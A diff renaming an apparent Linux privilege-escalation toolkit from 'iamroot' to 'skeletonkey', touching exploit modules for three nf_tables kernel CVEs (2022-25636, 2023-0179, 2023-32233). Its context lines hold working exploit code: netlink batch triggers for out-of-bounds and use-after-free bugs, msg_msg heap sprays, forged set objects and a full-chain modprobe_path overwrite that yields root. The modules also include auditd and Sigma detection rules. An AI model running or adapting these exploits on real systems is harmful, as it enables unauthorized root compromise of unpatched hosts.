* Cleanup drain leftover sysv queues and unlink the breadcrumb.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
fclose(f);
}
#endif
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
"# Flag the canonical exploit shape: unprivileged userns followed\n"
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
static const char nft_fwd_dup_sigma[] =
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
"status: experimental\n"
"description: |\n"
" Detects unprivileged user namespace creation followed by\n"
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
const struct iamroot_module nft_fwd_dup_module = {
const struct skeletonkey_module nft_fwd_dup_module = {
.name = "nft_fwd_dup",
.cve = "CVE-2022-25636",
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_fwd_dup(void)
void skeletonkey_register_nft_fwd_dup(void)
{
iamroot_register(&nft_fwd_dup_module);
skeletonkey_register(&nft_fwd_dup_module);
}
@@ -0,0 +1,12 @@
/*
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
*/
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_fwd_dup_module;
#endif
+1 -1
View File
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6.
## IAMROOT role
## SKELETONKEY role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
@@ -1,12 +0,0 @@
/*
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
*/
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
#define NFT_PAYLOAD_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_payload_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_payload_cve_2023_0179 IAMROOT module
* nft_payload_cve_2023_0179 SKELETONKEY module
*
* Netfilter nf_tables variable-length element-extension OOB R/W.
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
@@ -25,12 +25,12 @@
* payload-set whose attacker-controlled verdict.code drives the
* OOB), spray msg_msg payloads adjacent to the regs->data target,
* fires a synthetic packet through the chain, snapshots
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Davide-Ornaghi-style payload-set arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we refire the set-element registration with
* a verdict code chosen so the OOB index lands on a msg_msg slot
* we tagged with the caller's kaddr + payload bytes. The exact
@@ -47,7 +47,7 @@
* unprivileged user even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced with the set-payload extension in 5.4. Anything
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
"(set-payload extension landed in 5.4)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
#ifdef __linux__
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder same shape as nf_tables_cve_2024_1086
* to keep the IAMROOT family code self-consistent; we inline rather
* to keep the SKELETONKEY family code self-consistent; we inline rather
* than link against the other module so a future refactor can pull the
* helpers up into core/ without breaking either consumer.
* ------------------------------------------------------------------ */
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Per-module strings.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
static const char NFT_SET_NAME[] = "iamroot_pl_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
/* NFT expression "name" attributes are NUL-terminated short strings. */
#define NFT_EXPR_PAYLOAD_NAME "payload"
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
* exploitable range. The exact "right" magic is per-build; we ship a
* default that matched Davide's PoC on a stock 5.15 build and rely on
* the finisher's sentinel-file post-check to flag a layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
/* ------------------------------------------------------------------
@@ -685,7 +685,7 @@ static void trigger_packet(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
const char m[] = "iamroot-nft_payload-trigger";
const char m[] = "skeletonkey-nft_payload-trigger";
for (int i = 0; i < 8; i++) {
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof dst);
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
* KASAN, lockdep, kernel build options all shift it). The shipped
* default oob_index matches Davide's PoC on a stock 5.15 build; the
* shared finisher's sentinel-file post-check flags layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success.
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_payload_arb_ctx {
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
"exploit code can crash the kernel\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_payload: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
iamroot_result_t pre = nft_payload_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_payload_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* --- --full-chain path: resolve offsets in parent before doing
* anything destructive. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_payload");
return IAMROOT_EXPLOIT_FAIL;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_payload");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct nft_payload_arb_ctx ac = {
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
.arb_calls = 0,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
"spray_small=%d spray_large=%d\n",
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
/* --- primitive-only path: fork-isolated trigger so a kernel oops
* doesn't take down the iamroot driver. */
* doesn't take down the skeletonkey driver. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
pre_96, post_96);
}
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
if (log) {
fprintf(log,
"nft_payload trigger child: spray_small=%d spray_large=%d "
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
" Davide Ornaghi's payload-set + regs->data\n"
" arb-write + modprobe_path overwrite chain.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
* Cleanup.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_payload: tearing down log\n");
}
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
"-k iamroot-nft-payload-priv\n";
"-k skeletonkey-nft-payload-priv\n";
static const char nft_payload_sigma[] =
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
"id: c83d6e92-iamroot-nft-payload\n"
"id: c83d6e92-skeletonkey-nft-payload\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
const struct iamroot_module nft_payload_module = {
const struct skeletonkey_module nft_payload_module = {
.name = "nft_payload",
.cve = "CVE-2023-0179",
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_payload(void)
void skeletonkey_register_nft_payload(void)
{
iamroot_register(&nft_payload_module);
skeletonkey_register(&nft_payload_module);
}
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
*/
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_payload_module;
#endif
+2 -2
View File
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
5.4.243 / 4.19.283.
## IAMROOT role
## SKELETONKEY role
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
tags.
`--full-chain` forges a freed-set with `set->data = kaddr` at the
@@ -1,12 +0,0 @@
/*
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
*/
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
#define NFT_SET_UAF_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_set_uaf_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_set_uaf_cve_2023_32233 IAMROOT module
* nft_set_uaf_cve_2023_32233 SKELETONKEY module
*
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
@@ -16,11 +16,11 @@
* batch construction (table base chain anonymous set rule
* with nft_lookup DELSET DELRULE) committed in a single batch,
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope).
* tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
* /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
* SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire
* refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
* the trigger and spray msg_msg payloads forging a freed-set-object
* whose data pointer points at modprobe_path, then drive
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
@@ -47,7 +47,7 @@
* - Crusaders-of-Rust follow-up writeup
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
}
#endif /* __linux__ */
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
{
#ifndef __linux__
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (anonymous-set support). Anything below
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
"(anonymous-set support landed in 5.1)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
#endif
}
@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Ruleset: anonymous-set UAF trigger.
*
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
* 6. NFT_MSG_DELSET delete the set in the same batch
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* UAF on commit-time set cleanup.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder;
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
* anonymous flag still set */
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r";
static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
#define IAMROOT_SET_ID 0x42424242
#define SKELETONKEY_SET_ID 0x42424242
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
{
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID);
put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
end_msg(buf, off, at);
}
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }.
* NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
*/
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
{
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
/* lookup expr attrs: source register, target set (by ID), no flags */
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID);
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
end_nest(buf, off, edata_at);
end_nest(buf, off, el_at);
end_nest(buf, off, exprs_at);
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate.
* tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
* ------------------------------------------------------------------ */
#define SPRAY_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
#define IAMROOT_TAG "IAMROOT_SET"
#define SKELETONKEY_TAG "SKELETONKEY_SET"
struct ipc_payload {
long mtype;
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
p.mtype = 0x53; /* 'S' for "set" */
memset(p.buf, 0x53, sizeof p.buf);
/* recognizable cookie at the head of every message */
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1);
memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
int created = 0;
for (int i = 0; i < SPRAY_QUEUES; i++) {
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
static void log_breadcrumb(long before, long after, int sprayed)
{
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a");
FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
if (!f) return;
time_t now = time(NULL);
char ts[64];
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
"msg_msg sprayed=%d tag=%s\n",
ts, before, after, sprayed, IAMROOT_TAG);
ts, before, after, sprayed, SKELETONKEY_TAG);
fclose(f);
}
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
* - the freed slot must be claimed by our spray, not by an
* unrelated kernel allocator race-dependent
* - the finisher's sentinel post-check is the source of truth;
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success
* missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
* ------------------------------------------------------------------ */
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
struct ipc_payload m;
memset(&m, 0, sizeof m);
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5);
memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
/* Forge `set->data = kaddr` at the documented offset. msg_msg
* eats ~0x30 bytes at the head as its own header; the payload
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body
* ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Re-confirm vulnerability. */
iamroot_result_t pre = nft_set_uaf_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
